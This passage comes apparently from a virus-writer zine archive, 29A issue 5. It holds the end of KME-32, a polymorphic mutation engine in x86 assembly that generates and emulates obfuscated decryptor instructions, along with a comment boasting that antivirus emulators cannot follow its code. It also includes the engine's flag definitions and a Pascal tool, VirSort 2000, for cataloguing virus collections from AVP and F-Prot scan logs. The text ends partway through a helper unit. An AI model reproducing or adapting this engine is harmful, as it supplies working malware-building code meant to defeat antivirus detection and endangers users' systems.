@@x_shld: testcmd CMD_SHLD, @@poly_cmd_restart


call @@modarg ; modify argument
mov eax, em_reg[REG2*4] ; emul -- shld r1,r2,c
shld em_reg[REG1*4], eax, cl
mov ax, 0A40Fh ; opcode
jmp @@stosw_modrm_stosbX

@@x_shrd: testcmd CMD_SHRD, @@poly_cmd_restart


call @@modarg ; modify argument
mov eax, em_reg[REG2*4] ; emul -- shrd r1,r2,c
shrd em_reg[REG1*4], eax, cl
mov ax, 0AC0Fh ; opcode
jmp @@stosw_modrm_stosbX

@@x_btc_c: testcmd CMD_BTC, @@poly_cmd_restart


call @@modarg ; modify argument
btc em_reg[REG1*4], XXX ; emul -- btc r1, c
mov eax, 0f8ba0fh ; opcode
jmp @@stos3or

@@x_btr_c: testcmd CMD_BTR, @@poly_cmd_restart


call @@modarg ; modify argument
btr em_reg[REG1*4], XXX ; emul -- btr r1, c
mov eax, 0f0ba0fh ; opcode
jmp @@stos3or

@@x_bts_c: testcmd CMD_BTS, @@poly_cmd_restart


call @@modarg ; modify argument
bts em_reg[REG1*4], XXX ; emul -- bts r1, c
mov eax, 0e8ba0fh ; opcode
jmp @@stos3or

@@x_bswap: testcmd CMD_BSWAP, @@poly_cmd_restart


mov eax, em_reg[REG1*4] ; emul -- bswap r1
bswap eax
mov em_reg[REG1*4], eax
mov ax, 0c80fh ; opcode
jmp @@orahR1_stosw

@@x_xadd: testcmd CMD_XADD, @@poly_cmd_restart


bt regused, REG2
jc @@poly_cmd_exit
mov eax, em_reg[REG1*4] ; emul -- xadd r1,r2
mov ecx, em_reg[REG2*4]
xadd eax, ecx
mov em_reg[REG1*4], eax
mov em_reg[REG2*4], ecx
mov ax, 0C10Fh ; opcode
jmp @@stosw_modrm

@@x_bsr: testcmd CMD_BSR, @@poly_cmd_restart


mov eax, em_reg[REG1*4]
mov ecx, em_reg[REG2*4]
bsr eax, ecx
mov em_reg[REG1*4], eax
mov ax, 0BD0Fh
xchg REG1, REG2
jmp @@stosw_modrm

@@x_bsf: testcmd CMD_BSF, @@poly_cmd_restart


mov eax, em_reg[REG1*4]
mov ecx, em_reg[REG2*4]
bsf eax, ecx
mov em_reg[REG1*4], eax
mov ax, 0BC0Fh
xchg REG1, REG2
jmp @@stosw_modrm

@@md_init: mov eax, regavail


and eax, REG_EAX+REG_EDX
cmp eax, REG_EAX+REG_EDX
jne @@md_sux
mov eax, reginit
and eax, REG_EAX+REG_EDX
cmp eax, REG_EAX+REG_EDX
jne @@md_sux
test regused, REG_EAX+REG_EDX
jnz @@md_sux
mov eax, em_reg[REG_EAX_N*4]
mov edx, em_reg[REG_EDX_N*4]
mov ecx, em_reg[REG1*4]
retn
@@md_sux: pop eax ; return address
jmp @@poly_cmd_exit

@@md_done: mov em_reg[REG_EAX_N*4], eax


mov em_reg[REG_EDX_N*4], edx
retn

@@x_mul: testcmd CMD_MUL, @@poly_cmd_restart


call @@md_init
mul ecx
call @@md_done
mov ax, 0E0F7h
jmp @@orahR1_stosw

@@x_imul: testcmd CMD_IMUL, @@poly_cmd_restart


call @@md_init
imul ecx
call @@md_done
mov ax, 0E8F7h
jmp @@orahR1_stosw

@@x_div: testcmd CMD_DIV, @@poly_cmd_restart


call @@md_init
;; check if DIV avail
or ecx, ecx
jz @@poly_cmd_exit
cmp ecx, edx
jbe @@poly_cmd_exit
;;
div ecx
call @@md_done
mov eax, 0F0F7h
jmp @@orahR1_stosw

@@x_idiv: testcmd CMD_DIV, @@poly_cmd_restart


call @@md_init
;; check if IDIV avail
call @@can_idiv
jc @@poly_cmd_exit
;;
idiv ecx
call @@md_done
mov eax, 0F8F7h
jmp @@orahR1_stosw

; action: IDIV parameters checking (partial emulation, unsigned)


; input: EDX:EAX, ECX
; output: CF
; * all AV emulators performs only partial verification at this step,
; * and skips some good IDIVs. So, they will be unable to emul our code.
; * Seems such defective programmers as V.Bogdanov has problems coding it.

@@can_idiv: pusha
or ecx, ecx
jz @@idiv_err
jg @@g1
neg ecx
@@g1: or edx, edx
jge @@g2
neg edx
neg eax
sbb edx, 0
@@g2: xor esi, esi ; d
xor edi, edi ; m
mov bl, 64
@@divcycle: shl esi, 1 ; d <<= 1
jc @@idiv_err
shl eax, 1 ; x <<= 1
rcl edx, 1
rcl edi, 1 ; m = (m << 1) | x.bit[i]
jc @@cmpsub
cmp edi, ecx ; if (m >= y)
jb @@cmpsubok
@@cmpsub: sbb edi, ecx ; m -= y
or esi, 1 ; d |= 1
@@cmpsubok: dec bl
jnz @@divcycle
shl esi, 1
jc @@idiv_err
shl edi, 1
jc @@idiv_err
popa
retn
@@idiv_err: stc
popa
retn

; ---------------------------------------------------------------------------

; real super-puper...

@@x_fpu: testcmd2 CMD2_FPU, @@poly_cmd_restart

cmp in_subroutine, 0 ; avoid FPU stack overflow


jne @@poly_cmd_exit

cmp fpustack, 8 ; max FPU stack


jae @@poly_cmd_exit

cmp fpuinit, 0
jne @@alredyinit
inc fpuinit

mov ax, 0DB9Bh ; finit (wait+fninit)


stosw
mov al, 0E3h
stosb
finit
mov fpustack, 0

call @@poly_cmd

call @@eip
@@alredyinit:
lea eax, [REG2+50h] ; push reg2
stosb
push em_reg[REG2*4]

call @@poly_cmd

call @@eip
mov ax, 04DBh ; fild dword ptr [esp]
stosw
mov al, 24h
stosb
fild dword ptr [esp]
inc fpustack

call @@poly_cmd

call @@rnd_zf
jz @@cos

@@sin: mov ax, 0FED9h


stosw
fsin
jmp @@fpu_done

@@cos: mov ax, 0FFD9h


stosw
fcos
@@fpu_done:
call @@poly_cmd

call @@eip
mov ax, 1CD9h ; fstp dword ptr [esp]
stosw
mov al, 24h
stosb
fstp dword ptr [esp]
dec fpustack

call @@poly_cmd

pop em_reg[REG1*4]
call @@eip
lea eax, [REG1+58h] ; pop reg1
stosb

jmp @@poly_cmd_exit

; ---------------------------------------------------------------------------

kme_main endp

kme_end:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KME32.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KME32.INT]ÄÄÄ
; ===========================================================================
; KME-32 v3.00 Kewl Mutation Engine (c) 99-00 Z0MBiE, Vecna
; ===========================================================================

; --------------------- flags -----------------------------------------------

FLAG_DEBUG equ 00000001h ; insert INT3 into poly decr


FLAG_NOLOGIC equ 00000002h ; disable "logic"
FLAG_NOJMPS equ 00000004h ; disable JMPs.
; NOJMPS means generate continuous block of code
FLAG_EIP0 equ 00000008h ; initial entry = 0, not rnd
FLAG_NOSHORT equ 00000010h ; disable short-opcodes for EAX
; v3.00+
FLAG_NOSHORT_C equ 00000020h ; disable short-consts usage
FLAG_NOSWAP equ 00000040h ; disable [cmd r1,r2] perverting

; --------------------- registers -------------------------------------------

REG_EAX equ 00000001h ; bitfields for register mask


REG_ECX equ 00000002h ;
REG_EDX equ 00000004h ; at least 1 register should
REG_EBX equ 00000008h ; be specified.
REG_ESP equ 00000010h ; use REG_DEFAULT otherwise
REG_EBP equ 00000020h ;
REG_ESI equ 00000040h ;
REG_EDI equ 00000080h ;
REG_ALL equ (not REG_ESP) and 255

REG_DEFAULT equ REG_EAX


REG_EAX_N equ 0
REG_ECX_N equ 1
REG_EDX_N equ 2
REG_EBX_N equ 3
REG_ESP_N equ 4
REG_EBP_N equ 5
REG_ESI_N equ 6
REG_EDI_N equ 7

; --------------------- commands --------------------------------------------

CMD_ALL equ -1 ; use all available commands

CMD_MOV equ 00000001h ; bitfields for command mask


CMD_XCHG equ 00000002h ;
CMD_ADD equ 00000004h ; at least 1 command should
CMD_SUB equ 00000008h ; be specified. default=XOR
CMD_XOR equ 00000010h ;
CMD_INC equ 00000020h ; all CMD_xxx commands can be
CMD_DEC equ 00000040h ; disabled by FLAG_NOLOGIC
CMD_OR equ 00000080h ;
CMD_AND equ 00000100h ;
CMD_SHL equ 00000200h ;
CMD_SHR equ 00000400h ;
CMD_ROL equ 00000800h ;
CMD_ROR equ 00001000h ;
CMD_SAR equ 00002000h ;
CMD_NOT equ 00004000h ;
CMD_NEG equ 00008000h ;
CMD_IMUL_EX equ 00010000h ;
CMD_SHLD equ 00020000h ;
CMD_SHRD equ 00040000h ;
CMD_BTC equ 00080000h ;
CMD_BTR equ 00100000h ;
CMD_BTS equ 00200000h ;
CMD_BSWAP equ 00400000h ;
CMD_XADD equ 00800000h ;
CMD_MOVSXZX equ 01000000h ; mov?x
CMD_BSR equ 02000000h ;
CMD_BSF equ 04000000h ;
CMD_MUL equ 08000000h
CMD_IMUL equ 10000000h
CMD_DIV equ 20000000h
CMD_IDIV equ 40000000h
CMD_PUSHPOP equ 80000000h ; used when initializing regs
;;
CMD_OLDSTUFF equ 000FFFFFFh ; 1.00
CMD_NEWSTUFF equ 0FF000000h ; 2.00+

CMD2_ALL equ -1

CMD2_PUSHPOPR equ 00000001h ; push r; polycmd; pop r


CMD2_PUSHPOPC equ 00000002h ; push c; polycmd; pop r
CMD2_IFOLLOW equ 00000004h ; cmp r, c; jxx
CMD2_INOFOLLOW equ 00000008h ; cmp r, c; jxx fake
CMD2_RFOLLOW equ 00000010h ; cmp r, r; jxx
CMD2_RNOFOLLOW equ 00000020h ; cmp r, r; jxx fake
CMD2_JXX equ 00000014h
CMD2_JXX_FAKE equ 00000028h
CMD2_SUBROUTINE equ 00000040h ; 8-()
CMD2_CYCLE equ 00000080h ; |->
CMD2_FPU equ 00000100h ; X-)
; ===========================================================================
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KME32.INT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[VS2000.PAS]ÄÄÄ
program VirSort_2000_for_29A_issue_5;

uses
dos, crt, lgarray;

var
f : text;
newfile : text;
flag1 : boolean;
flag2 : boolean;
count : longint;
log_file : string;
tipo : string;
dic1 : dictionary;
dic2 : dictionary;
dic3 : dictionary;
dic4 : dictionary;
dic5 : dictionary;
dic6 : dictionary;
dic7 : dictionary;
dic8 : dictionary;
dic9 : dictionary;
dic10 : dictionary;
dic11 : dictionary;
dic12 : dictionary;
dic13 : dictionary;
i : integer;
log : text;
instring : string;
filename : string;
virusname : string;
test : longint;
parm1 : string;
parm2 : string;
parm3 : string;
last_bar : byte;
tmp_str : string;
TBuff : Pointer;
TBuffsize : LongInt;
temp_string : string;
space_position : byte;

procedure ShowHelp;
begin
writeln(' -b {s} <logname> Build new DAT file');
writeln(' -c {s} <logname> Compare someone elses log');
writeln(' -a {l} {s} <logname> Add new virii');
writeln(' -h {u} Count virii');
writeln;
halt;
end;

procedure call_buffer;
begin
tbuffsize:=Maxavail;
if tbuffsize > $fff0 then tbuffsize := $fff0;
getmem(tbuff,tbuffsize);
end;

procedure inicializa_diccionarios;
begin
dicAssign(dic1,'dict1');
dicRewrite(dic1,4000);
dicAssign(dic2,'dict2');
dicRewrite(dic2,4000);
dicAssign(dic3,'dict3');
dicRewrite(dic3,4000);
dicAssign(dic4,'dict4');
dicRewrite(dic4,4000);
dicAssign(dic5,'dict5');
dicRewrite(dic5,5000);
dicAssign(dic6,'dict6');
dicRewrite(dic6,5000);
dicAssign(dic7,'dict7');
dicRewrite(dic7,4000);
dicAssign(dic8,'dict8');
dicRewrite(dic8,4000);
dicAssign(dic9,'dict9');
dicRewrite(dic9,4000);
dicAssign(dic10,'dict10');
dicRewrite(dic10,4000);
dicAssign(dic11,'dict11');
dicRewrite(dic11,4000);
dicAssign(dic12,'dict12');
dicRewrite(dic12,4000);
dicAssign(dic13,'dict13');
dicRewrite(dic13,4000);
end;

procedure escribe_diccionario;
begin
if UpCase(virusname[1]) >= 'T' then
begin
if UpCase(virusname[1]) <= 'U' then dicWrite(dic8,
virusname,test)
else if UpCase(virusname[1]) = 'V' then dicWrite(dic9,
virusname,test)
else if UpCase(virusname[1]) = 'W' then dicWrite(dic6,
virusname,test)
else if UpCase(virusname[1]) <= 'Z' then dicWrite(dic10,
virusname,test)
else dicWrite(dic1,virusname,test);
end
else if UpCase(virusname[1]) >= 'M' then
begin
if UpCase(virusname[1]) = 'M' then dicWrite(dic13,
virusname,test)
else if UpCase(virusname[1]) <= 'O' then dicWrite(
dic4,virusname,test)
else if UpCase(virusname[1]) <= 'Q' then dicWrite(
dic5,virusname,test)
else if UpCase(virusname[1]) <= 'S' then dicWrite(
dic7,virusname,test);
end
else
begin
if UpCase(virusname[1]) <= 'B' then dicWrite(dic1,virusname,test)
else if UpCase(virusname[1]) <= 'F' then dicWrite(dic2,virusname,test)
else if UpCase(virusname[1]) <= 'H' then dicWrite(dic3,virusname,test)
else if UpCase(virusname[1]) <= 'J' then dicWrite(dic11,virusname,test)
else if UpCase(virusname[1]) <= 'L' then dicWrite(dic12,virusname,test);
end;
end;
procedure cierra_diccionarios;
begin
dicClose;
dicErase(dic1);
dicErase(dic2);
dicErase(dic3);
dicErase(dic4);
dicErase(dic5);
dicErase(dic6);
dicErase(dic7);
dicErase(dic8);
dicErase(dic9);
dicErase(dic10);
dicErase(dic11);
dicErase(dic12);
dicErase(dic13);
end;

procedure no_virii;
begin
writeln('No virii found to process!');
end;

procedure no_new_virii_found;
begin
writeln('No new virii found');
end;

procedure no_new_virii_added;
begin
writeln('No new virii added');
end;

procedure not_find_avp;
begin
writeln('Can not find AVP.DAT in current directory!');
end;

procedure not_find_fprot;
begin
writeln('Can not find FPROT.DAT in current directory!');
end;

procedure no_dat;
begin
writeln('No DAT files found!');
end;

procedure longitud(log_file : string);


var
f : file of Byte;
size : Longint;

begin
assign(f,log_file);
reset(f);
size := filesize(f);
close(f);
if size = 0 then erase(f);
end;

procedure OpenLog(logname : string);


begin
assign(log,logname);
call_buffer;
settextbuf(log,tbuff^,tbuffsize);
{$I-}
reset(log);
{$I+}
flag2:=false;
if IOResult <> 0 then flag2 := true;
end;

procedure DetectLog;
begin
flag1:=false;
tipo:='';
while flag1=false do
begin
readln(log,instring);
if (pos('infected:',instring)) or (pos('warning:',instring)) > 0 then
begin
tipo:='AVP';
flag1:=true;
end
else if pos(' Infection: ',instring) > 0 then
begin
tipo:='F-PROT';
flag1:=true;
end;
if eof(log) then flag1:=true;
end;
end;

procedure BuildNewDat_A(logname:string);
begin
writeln('Detected AVP log file');
writeln('Building AVP.DAT from ',logname);
reset(log);
assign(f,'AVP.DAT');
call_buffer;
settextbuf(f,tbuff^,tbuffsize);
rewrite(f);

inicializa_diccionarios;

count := 0;

repeat
readln(log,instring);
flag1 := false;
filename := instring;
virusname := instring;
if pos('infected:',filename) > 0 then
begin
for last_bar:=length(filename) downto 0 do if filename[last_bar]=':'
then break;
delete(filename,last_bar-9,length(filename));
delete(virusname,1,last_bar+1);
flag1 := true;
end
else if pos('warning:',filename) > 0 then
begin
for last_bar:=length(filename) downto 0 do if filename[last_bar]=':'
then break;
delete(filename,last_bar-8,length(filename));
delete(virusname,1,last_bar+1);
virusname := virusname+'.warning';
flag1 := true;
end;
if flag1 = true then
begin
if pos(' ',virusname) >0 then
begin
tmp_str:=copy(virusname,1,pos(' ',virusname
)-1);
delete(virusname,1,pos(' ',virusname));
virusname:=concat(tmp_str+'_'+virusname);
end;
escribe_diccionario;
if test < 0 then
begin
inc(count);
writeln(f,filename,#1,virusname);
end;
end;
until eof(log);
writeln(count,' virii found for AVP...');

Cierra_diccionarios;

close(f);
close(log);
writeln;
end;

procedure BuildNewDAT_F(logname:string);
begin
writeln('Detected F-Prot log file');
writeln('Building FPROT.DAT from ',logname);
reset(log);
assign(f,'FPROT.DAT');
call_buffer;
settextbuf(f,tbuff^,tbuffsize);
rewrite(f);

inicializa_diccionarios;

count := 0;

repeat
readln(log,instring);
space_position:=pos('ection: ',instring);
if space_position > 0 then
begin
filename := instring;
virusname := instring;
delete(filename,space_position-5,length(filename));
delete(virusname,1,space_position+7);
if pos('New or',virusname) > 0 then
begin
delete(virusname,1,pos('of ',
virusname)+2);
virusname:=concat(virusname+
'.variant');
end;
if (parm1 = '-BS') then
else if pos(' ',virusname) > 0 then delete(virusname,pos(' ',virusname),
length(virusname));
escribe_diccionario;
if test < 0 then
begin
inc(count);
writeln(f,filename,#1,virusname);
end;
end;
until eof(log);
writeln(count,' virii found for F-Prot...');

Cierra_diccionarios;

close(f);
close(log);
writeln;
end;

procedure CompareDAT_A(logname:string);
begin
writeln('Comparing virii from ',logname);
writeln('Detected AVP log file');
reset(log);

inicializa_diccionarios;

assign(f,'avp.dat');
call_buffer;
settextbuf(f,tbuff^,tbuffsize);
{$I-}
reset(f);
{$I+}
if IOResult <> 0 then not_find_avp
else
begin
repeat
readln(f,virusname);
delete(virusname,1,pos(#1,virusname));
escribe_diccionario;
until eof(f);
close(f);

tmp_str:=('NEWAVP.LOG');
assign(newfile,'NEWAVP.LOG');
call_buffer;
settextbuf(newfile,tbuff^,tbuffsize);
{$I-}
reset(newfile);
{$I+}
count:=1;
while IOResult = 0 do
begin
close(newfile);
str(count,tmp_str);
for i:=1 to 1-length(tmp_str) do tmp_str:=tmp_str;
tmp_str:=concat('NEWAVP.LO'+tmp_str);
inc(count);
assign(newfile,tmp_str);
call_buffer;
settextbuf(newfile,tbuff^,tbuffsize);
{$I-}
reset(newfile);
{$I+}
end;
rewrite(newfile);

count := 0;
log_file:=tmp_str;

repeat
readln(log,instring);
flag1 := false;
virusname := instring;
if pos('infected:',virusname) >0 then
begin
for last_bar:=length(virusname) downto 0 do if virusname[last_bar]=':'
then break;
delete(virusname,1,last_bar+1);
flag1 := true;
end
else
begin
if pos('warning:',virusname) >0 then
begin
for last_bar:=length(virusname) downto 0 do if virusname[last_bar]=
':' then break;
delete(virusname,1,last_bar+1);
virusname := virusname+'.warning';
flag1 := true;
end;
end;
if flag1 = true then
begin
if pos(' ',virusname) >0 then
begin
tmp_str:=copy(virusname,1,pos(' ',virusname
)-1);
delete(virusname,1,pos(' ',virusname));
virusname:=concat(tmp_str+'_'+virusname);
end;
escribe_diccionario;
if test < 0 then
begin
inc(count);
writeln(newfile,instring);
end;
end;
until eof(log);
if count=0 then no_new_virii_found
else
begin
writeln(count,' new AVP virii found...');
writeln;
end;

Cierra_diccionarios;

close(newfile);
close(log);

longitud(log_file);
end;
end;

procedure CompareDAT_F(logname:string);
begin
writeln('Comparing virii from ',logname);
writeln('Detected F-Prot log file');
reset(log);

inicializa_diccionarios;

assign(f,'fprot.dat');
call_buffer;
settextbuf(f,tbuff^,tbuffsize);
{$I-}
reset(f);
{$I+}
if IOResult <> 0 then not_find_fprot
else
begin
repeat
readln(f,virusname);
delete(virusname,1,pos(#1,virusname));
escribe_diccionario;
until eof(f);
close(f);

tmp_str:=('NEWFPROT.LOG');
assign(newfile,'NEWFPROT.LOG');
call_buffer;
settextbuf(newfile,tbuff^,tbuffsize);
{$I-}
reset(newfile);
{$I+}
count:=1;
while IOResult = 0 do
begin
close(newfile);
str(count,tmp_str);
for i:=1 to 1-length(tmp_str) do tmp_str:=tmp_str;
tmp_str:=concat('NEWFPROT.LO'+tmp_str);
inc(count);
assign(newfile,tmp_str);
call_buffer;
settextbuf(newfile,tbuff^,tbuffsize);
{$I-}
reset(newfile);
{$I+}
end;

rewrite(newfile);

count := 0;
log_file:=tmp_str;

repeat
readln(log,instring);
space_position:=pos('ection: ',instring);
if space_position > 0 then
begin
virusname := instring;
delete(virusname,1,space_position+7);
if pos('New or',virusname) > 0 then
begin
delete(virusname,1,pos('of ',
virusname)+2);
virusname:=concat(virusname+
'.variant');
end;
if (parm1 = '-CS') or (parm1 = '-CSW') then
else if pos(' ',virusname) > 0 then delete(virusname,pos(' ',virusname),
length(virusname));
escribe_diccionario;
if test < 0 then
begin
inc(count);
writeln(newfile,instring);
end;
end;
until eof(log);
if count=0 then no_new_virii_found
else
begin
writeln(count,' new F-Prot virii found...');
writeln;
end;

Cierra_diccionarios;

close(newfile);
close(log);
longitud(log_file);
end;
end;

procedure AddNewDAT_A(logname:string);
begin
writeln('Adding virii from ',logname);
writeln('Detected AVP log file');
reset(log);

inicializa_diccionarios;

assign(f,'avp.dat');
call_buffer;
settextbuf(f,tbuff^,tbuffsize);
{$I-}
reset(f);
{$I+}
if IOResult <> 0 then not_find_avp
else
begin
repeat
readln(f,virusname);
delete(virusname,1,pos(#1,virusname));
escribe_diccionario;
until eof(f);
close(f);

if (parm1 = '-AL') or (parm1 = '-ALS') then


begin
tmp_str:=('NEWAVP.LOG');
assign(newfile,tmp_str);
call_buffer;
settextbuf(newfile,tbuff^,tbuffsize);
{$I-}
reset(newfile);
{$I+}
count:=1;
while IOResult = 0 do
begin
close(newfile);
str(count,tmp_str);
for i:=1 to 1-length(tmp_str) do tmp_str:=tmp_str;
tmp_str:=concat('NEWAVP.LO'+tmp_str);
inc(count);
assign(newfile,tmp_str);
call_buffer;
settextbuf(newfile,tbuff^,tbuffsize);
{$I-}
reset(newfile);
{$I+}
end;
rewrite(newfile);
log_file:=tmp_str;
end;

count := 0;
append(f);

repeat
readln(log,instring);
flag1 := false;
filename := instring;
virusname := instring;
if pos('infected:',filename) > 0 then
begin
for last_bar:=length(filename) downto 0 do if filename[last_bar]=':'
then break;
delete(filename,last_bar-9,length(filename));
delete(virusname,1,last_bar+1);
flag1 := true;
end
else if pos('warning:',filename) > 0 then
begin
for last_bar:=length(filename) downto 0 do if filename[last_bar]=':'
then break;
delete(filename,last_bar-8,length(filename));
delete(virusname,1,last_bar+1);
virusname := virusname+'.warning';
flag1 := true;
end;
if flag1 = true then
begin
if pos(' ',virusname) >0 then
begin
tmp_str:=copy(virusname,1,pos(' ',virusname
)-1);
delete(virusname,1,pos(' ',virusname));
virusname:=concat(tmp_str+'_'+virusname);
end;
escribe_diccionario;
if test < 0 then
begin
inc(count);
writeln(f,filename,#1,virusname);
if (parm1 = '-AL') or (parm1 = '-ALS') then writeln(newfile,
instring);
end;
end;
until eof(log);
if count=0 then no_new_virii_added
else
begin
writeln('Added ',count,' new virii for AVP...');
writeln;
end;

Cierra_diccionarios;

close(f);
close(log);
if (parm1 = '-AL') or (parm1 = '-ALS') then
begin
close(newfile);
longitud(log_file);
end;
end;
end;

procedure AddNewDAT_F(logname:string);
begin
writeln('Adding virii from ',logname);
writeln('Detected F-Prot log file');
reset(log);

inicializa_diccionarios;

assign(f,'fprot.dat');
call_buffer;
settextbuf(f,tbuff^,tbuffsize);
{$I-}
reset(f);
{$I+}
if IOResult <> 0 then not_find_fprot
else
begin
repeat
readln(f,virusname);
delete(virusname,1,pos(#1,virusname));
escribe_diccionario;
until eof(f);
close(f);

if (parm1 = '-AL') or (parm1 = '-ALS') then


begin
tmp_str:=('NEWFPROT.LOG');
assign(newfile,tmp_str);
call_buffer;
settextbuf(newfile,tbuff^,tbuffsize);
{$I-}
reset(newfile);
{$I+}
count:=1;
while IOResult = 0 do
begin
close(newfile);
str(count,tmp_str);
for i:=1 to 1-length(tmp_str) do tmp_str:=tmp_str;
tmp_str:=concat('NEWFPROT.LO'+tmp_str);
inc(count);
assign(newfile,tmp_str);
call_buffer;
settextbuf(newfile,tbuff^,tbuffsize);
{$I-}
reset(newfile);
{$I+}
end;
rewrite(newfile);
log_file:=tmp_str;
end;

count := 0;
append(f);

repeat
readln(log,instring);
space_position:=pos('ection: ',instring);
if space_position > 0 then
begin
filename := instring;
virusname := instring;
delete(filename,space_position-5,length(filename));
delete(virusname,1,space_position+7);
if pos('New or',virusname) > 0 then
begin
delete(virusname,1,pos('of ',
virusname)+2);
virusname:=concat(virusname+
'.variant');
end;
if (parm1 = '-AS') or (parm1 = '-ALS') then
else if pos(' ',virusname) > 0 then delete(virusname,pos(' ',virusname),
length(virusname));
escribe_diccionario;
if test < 0 then
begin
inc(count);
writeln(f,filename,#1,virusname);
if (parm1 = '-AL') or (parm1 = '-ALS') then writeln(newfile,instring);
end;
end;
until eof(log);
if count=0 then no_new_virii_added
else
begin
writeln('Added ',count,' new virii for F-Prot...');
writeln;
end;

Cierra_diccionarios;

close(f);
close(log);
if (parm1 = '-AL') or (parm1 = '-ALS') then
begin
close(newfile);
longitud(log_file);
end;
end;
end;

procedure CountViruses;
begin

flag1 := false;

assign(f,'avp.dat');
{$I-}
reset(f);
{$I+}
if IOResult = 0 then
begin
flag1 := true;
count:= 0;
if parm1 = '-H' then
begin
repeat
readln(f,temp_string);
count := count + 1;
until eof(f);
writeln(count,' virii for AVP');
end
else
begin
repeat
readln(f,temp_string);
if pos('warning',temp_string) > 0 then
else count := count + 1;
until eof(f);
writeln(count,' unique virii for AVP');
end;
close(f);
end;

assign(f,'fprot.dat');
{$I-}
reset(f);
{$I+}
if IOResult = 0 then
begin
flag1 := true;
count := 0;
if parm1 = '-H' then
begin
repeat
readln(f,temp_string);
count := count + 1;
until eof(f);
writeln(count,' virii for F-Prot');
end
else
begin
repeat
readln(f,temp_string);
if (pos('unknown?',temp_string) > 0) or
(pos('damaged?',temp_string) > 0) then
else count := count + 1;
until eof(f);
writeln(count,' unique virii for F-Prot');
end;
close(f);
end;

if flag1 = false then no_dat;


halt;
end;

procedure BuildNew;

begin
DetectLog;
if tipo = 'AVP' then BuildNewDat_A(parm2)
else if tipo = 'F-PROT' then BuildNewDat_F(parm2)
else no_virii;
end;

procedure CompareDat;
begin
DetectLog;
if tipo = 'AVP' then CompareDat_A(parm2)
else if tipo = 'F-PROT' then CompareDat_F(parm2)
else no_virii;
end;

procedure AddNewDat;
begin
DetectLog;
if tipo = 'AVP' then AddNewDat_A(parm2)
else if tipo = 'F-PROT' then AddNewDat_F(parm1)
else no_virii;
end;

begin
writeln;
writeln(' Virsort 2000 Special Edition for 29A #5 by VirusBuster/29A');
writeln(
'-=----------------------------------------------------------------------------=-');

parm1 := paramstr(1);
parm2 := paramstr(2);
parm3 := paramstr(3);

for i := 1 to Length(parm1) do parm1[i] := UpCase(parm1[i]);


for i := 1 to Length(parm2) do parm2[i] := UpCase(parm2[i]);
for i := 1 to Length(parm3) do parm3[i] := UpCase(parm3[i]);

if (parm1 = '') or (parm1[1] <> '-') then ShowHelp;

if parm1[2] = 'H' then CountViruses


else OpenLog(parm2);
if flag2 = True then
begin
writeln('Log file not found!');
halt;
end
else
begin
if parm1[2] = 'B' then BuildNew
else if parm1[2] = 'C' then CompareDAT
else if parm1[2] = 'A' then AddNewDAT
else writeln('Unknown command. Run VS2000 without parameters for help!');
close(log);
end;
writeln;
end.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[VS2000.PAS]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[LGARRAY.PAS]ÄÄÄ
unit lgArray;
interface
type longArray=record name: string[40];
private: array[1..35] of byte
end;
stringPtr=^string;

longintPtr=^longint;
dictionary=record name: string[40];
index,corpus: longArray;
frequency: longint;
fqPtr: longintPtr;
end;

procedure memAssign(var a: longArray; st: string);


procedure memRewrite(var a: longArray; items: longint; itemSize: word);
procedure memSeek(var a: longArray; item: longint);
procedure memRead(var a: longArray; var item);
procedure memWrite(var a: longArray; var item);
procedure memSeekAndRead(var a: longArray; i: longint; var item);
procedure memSeekAndWrite(var a: longArray; i: longint; var item);
procedure memPut(var a: longArray; var item);
procedure memClose;
procedure memErase(var a: longArray);
function memFileSize(var a: longArray):longint;
function memLast(var a: longArray): longint;
function memFilePos(var a: longArray): longint;

procedure dicAssign(var d: dictionary; st: string);


procedure dicRewrite(var d: dictionary; items: longint);
procedure dicFind(var d: dictionary; st: string; var foundPos: longint);
procedure dicWrite(var d: dictionary; st: string; var i: longint);
procedure dicPut(var d: dictionary; st: string);
procedure dicSeekAndWrite(var d: dictionary; i: longint; st: string);
procedure dicClose;
procedure dicErase(var d: dictionary);

procedure SetFq(var st: string; fq: longint);


procedure GetFq(var st: string; var fq: longint);

const expectedWordLength=10;

type aRowPtr=^aRow;
aDictionaryPtr=^dictionary;
anIndex=array[0..0] of aRowPtr;
anIndexPtr=^anIndex;
aRow= array[0..0] of byte;

memRec=object
name: string[40];
bytesPerRow,bytesInIndex,lastRow,recordsPerRow,
bytesPerRecord,shift,mask: word;
maxRecordsInArray,lastRecord,pos: longint;
insertMode: boolean;
rowPtrNo: anIndexPtr;
dicPtr: aDictionaryPtr;
end;

implementation

uses crt;

procedure SetFq(var st: string; fq: longint);


begin if length(st)>251 then st[0]:=#251;
move(fq,st[length(st)+1],4); inc(st[0],4);
end;

procedure GetFq(var st: string; var fq: longint);


begin dec(st[0],4);
move(st[length(st)+1],fq,4)
end;
procedure MemAssign(var a: longArray; st: string);
begin a.name:=st
end;

procedure MemRewrite(var a: longArray; items: longint; itemSize: word);


var i: word; n: longint;
begin
FillChar(a.Private,SizeOf(a.Private),0);
with memRec(a) do
begin
bytesPerRecord:=itemSize;
